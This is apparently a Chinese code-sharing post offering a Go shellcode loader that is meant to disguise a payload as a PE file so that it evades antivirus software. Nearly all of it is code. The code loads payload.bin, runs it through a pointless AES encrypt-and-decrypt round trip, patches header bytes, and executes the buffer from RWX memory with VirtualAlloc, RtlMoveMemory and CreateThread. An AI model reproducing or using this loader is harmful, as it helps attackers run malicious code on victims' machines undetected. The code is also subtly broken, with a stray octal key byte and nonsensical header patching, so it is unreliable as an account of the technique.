Go语言实现伪造PE头文件执行Shellcode
本题需要用到伪造PE头文件的技术,将shellcode伪装成PE格式,使其绕过一些杀软的检测。
以下是完整代码,其中用到了一些Windows API函数:
- VirtualAlloc:申请内存空间
- RtlMoveMemory:内存复制
- CreateThread:创建线程
代码中的AesCipher和Crypt函数用来对payload进行加密和解密,Encode和Decode函数用来对加密后的payload进行base64编码和解码。最后在main函数中,读取payload文件,对其进行加密和编码,并将加密后的shellcode传递给exec函数执行。
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"io/ioutil"
"syscall"
"time"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var AesKey = []byte{
0x13, 0x54, 077, 0x1A, 0xA1, 0x3F, 0x04, 0x8B,
0x13, 0x54, 0x77, 0x69, 0x97, 0x3F, 0x33, 0x2B,
0x31, 0x23, 0x37, 0x19, 0x91, 0x3F, 0x50, 0x9B,
}
type CipherFunc func(key []byte, src []byte) []byte
func AesCipher(key []byte, src []byte) []byte {
block, _ := aes.NewCipher(key)
iv := make([]byte, aes.BlockSize)
stream := cipher.NewCTR(block, iv)
dst := make([]byte, len(src))
stream.XORKeyStream(dst, src)
return dst
}
func Crypt(cipher CipherFunc, key []byte, src []byte) []byte {
return cipher(key, src)
}
func Encode(src string) string {
payloadBytes := []byte(src)
encodedBytes := Crypt(AesCipher, AesKey, payloadBytes)
bdata := base64.StdEncoding.EncodeToString(encodedBytes)
return bdata
}
func Decode(src string) []byte {
decodedBytes, _ := base64.StdEncoding.DecodeString(src)
payloadBytes := Crypt(AesCipher, AesKey, decodedBytes)
return payloadBytes
}
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
ntdll = syscall.NewLazyDLL("ntdll.dll")
VirtualAlloc = kernel32.NewProc("VirtualAlloc")
RtlMoveMemory = ntdll.NewProc("RtlMoveMemory")
CreateThread = kernel32.NewProc("CreateThread")
)
func exec(charcode []byte) {
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
time.Sleep(5)
_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
time.Sleep(5)
handle, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
time.Sleep(5)
syscall.WaitForSingleObject(syscall.Handle(handle), syscall.INFINITE)
}
func readFile(filename string) []byte {
data, _ := ioutil.ReadFile(filename)
return data
}
func fakePE(header []byte, shellcode []byte) []byte {
// 修改PE头中的Image Base和SizeOfImage
header[0x34] = 0x00
header[0x35] = 0x40
header[0x36] = 0x00
header[0x37] = 0x00
header[0x50] = 0x00
header[0x51] = 0x04
header[0x52] = 0x00
header[0x53] = 0x00
// 修改PE头中的EntryPoint
header[0x28] = shellcode[0]
header[0x29] = shellcode[1]
header[0x2A] = shellcode[2]
header[0x2B] = shellcode[3]
// 返回伪造的PE文件内容
return append(header, shellcode[4:]...)
}
func main() {
payload := readFile("./payload.bin")
encodedPayload := Encode(string(payload))
shellCodeHex := Decode(encodedPayload)
// 读取PE头文件
header := readFile("./header.bin")
// 伪造PE文件
fakePEFile := fakePE(header, shellCodeHex)
exec(fakePEFile)
}
原文地址: https://www.cveoy.top/t/topic/lKMH 著作权归作者所有。请勿转载和采集!